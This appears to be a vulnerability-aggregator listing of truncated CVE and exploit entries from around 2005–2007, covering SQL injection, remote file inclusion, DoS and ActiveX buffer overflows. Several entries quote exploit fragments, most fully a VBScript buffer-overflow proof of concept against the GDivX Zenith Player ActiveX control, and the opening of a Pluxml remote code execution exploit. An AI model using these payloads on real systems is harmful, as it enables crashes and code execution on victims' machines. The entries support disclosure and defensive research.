Design/Logic Flaw

JWIG might allow context-dependent attackers to cause a denial of service service degradation via loops of references to external templates. NOTE: this issue has been disputed by multiple third parties who state that only the application developer can trigger the issue, so no privilege boundaries...

Pluxml 0.3.1 Remote Code Execution Exploit

No description provided by source. ?php This file require the PhpSploit class. If you want to use this class, the latest version can be downloaded from acid-root.new.fr. Note: The new version is compatible with PHP 4 by default. errorreportingEALL ^ ENOTICE; require'phpsploitclass.php'; C:...

HP Instant Support Driver Check HPSDDX Class (SDD) ActiveX (sdd.dll) queryHub Function Overflow

The remote host contains the SDD ActiveX control, a part of HP Instant Support. The version of this control on the remote host is reportedly affected by a buffer overflow that can be triggered by a long argument to its 'queryHub' method. If an attacker can trick a user on the affected host into...

6ALBlog (newsid) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications =================================================== 6ALBlog newsid Remote SQL Injection Vulnerability =================================================== +By CrackersChild+ Portal.......: 6ALBlog All Versions Download.....:...

MaraDNS DoS

Dynamic memory leak on unsupported query class or opcode...

xoops module tinycontent 1.5 - Remote File Inclusion

xoops module tinycontent 1.5 - Remote File Inclusion XOOPS Module TinyContent Remote File Inclusion version: 1.5 source: http://prdownloads.sourceforge.net/xoops/xoops2-mod-tinycontent15.zip Discovered by SpLo1T from hTTP://hacking.3Xforum.Ro BUG:...

CVE-2005-4841

Technical details about CVE-2005-4841 are not publicly available in the provided documents. Monitor for updates from Red Hat, NVD, CVE listings, and related advisories.

CVE-2005-4843

The CVE-2005-4843 vulnerability affects the SmartConnect Class control. It allows remote attackers to cause an Internet Explorer crash by creating a COM object of the control’s CLSID that is not intended for use within Internet Explorer. The issue is described across multiple sources (Red Hat, CV...

CVE-2005-4843: Undefined Security Weakness

The SmartConnect Class control allows remote attackers to cause a denial of service Internet Explorer crash by creating a COM object of the class associated with the control's CLSID, which is not intended for use within Internet Explorer...

Design/Logic Flaw

Multiple memory leaks in server/MaraDNS.c in MaraDNS before 1.2.12.06, and 1.3.x before 1.3.05, allow remote attackers to cause a denial of service memory consumption via 1 reverse lookups or 2 requests for records in a class other than Internet IN, a different set of affected versions than...

CVE-2007-3115

Multiple memory leaks in server/MaraDNS.c in MaraDNS before 1.2.12.06, and 1.3.x before 1.3.05, allow remote attackers to cause a denial of service memory consumption via 1 reverse lookups or 2 requests for records in a class other than Internet IN, a different set of affected versions than...

CVE-2007-2943: Undefined Security Weakness

PHP remote file inclusion vulnerability in class/class.php in Webavis 0.1.1 allows remote attackers to execute arbitrary PHP code via a URL in the root parameter...

Sql injection

Multiple SQL injection vulnerabilities in the insert function in the ValuePreference class grid/ed/ValuePreference.java in Adempiere before 3.1.6 allow remote attackers to execute arbitrary SQL commands via the 1 mAttribute or 2 mValue parameter. NOTE: some of these details are obtained from thir...

CVE-2007-2601

Buffer overflow in a certain ActiveX control in the GDivX Zenith Player AviFixer class in fix.dll 1.0.0.1 allows remote attackers to execute arbitrary code via a long SetInputFile property value...

Buffer overflow

Buffer overflow in a certain ActiveX control in the GDivX Zenith Player AviFixer class in fix.dll 1.0.0.1 allows remote attackers to execute arbitrary code via a long SetInputFile property value...

GDivX Zenith Player AviFixer Class (fix.dll 1.0.0.1) Buffer Overflow PoC

No description provided by source. html object classid='clsid:2225E9BC-AFB3-4ED4-B20E-4F6CF1C39F8B' id='target'/object script language = 'vbscript' ' IE 6 / GDivX Zenith Player AviFixer Class fix.dll v. 1.0.0.1 buffer overflow POC by rgod ' tested on xp sp2 EIP= "BBBB" BOF=String264, "A" + EIP +...

gdivx-dos.txt

' IE 6 / GDivX Zenith Player AviFixer Class fix.dll v. 1.0.0.1 buffer overflow POC by rgod ' tested on xp sp2 EIP= "BBBB" BOF=String264, "A" + EIP + String9999, unescape"%90" target.SetInputFile BOF...

GDivX Zenith Player AviFixer Class (fix.dll 1.0.0.1) Buffer Overflow PoC

Exploit for unknown platform in category dos / poc ======================================================================== GDivX Zenith Player AviFixer Class fix.dll 1.0.0.1 Buffer Overflow PoC ======================================================================== ' IE 6 / GDivX Zenith Player...

CVE-2007-2538: Undefined Security Weakness

SQL injection vulnerability in class/debug/debugshow.php in RunCms 1.5.2 and earlier allows remote attackers to execute arbitrary SQL commands via the executedqueries array parameter...

GDivX Zenith Player AviFixer Class - fix.dll 1.0.0.1 Buffer Overflow (PoC)

GDivX Zenith Player AviFixer Class - fix.dll 1.0.0.1 Buffer Overflow PoC ' IE 6 / GDivX Zenith Player AviFixer Class fix.dll v. 1.0.0.1 buffer overflow POC by rgod ' tested on xp sp2 EIP= "BBBB" BOF=String264, "A" + EIP + String9999, unescape"%90" target.SetInputFile BOF milw0rm.com 2007-05-09...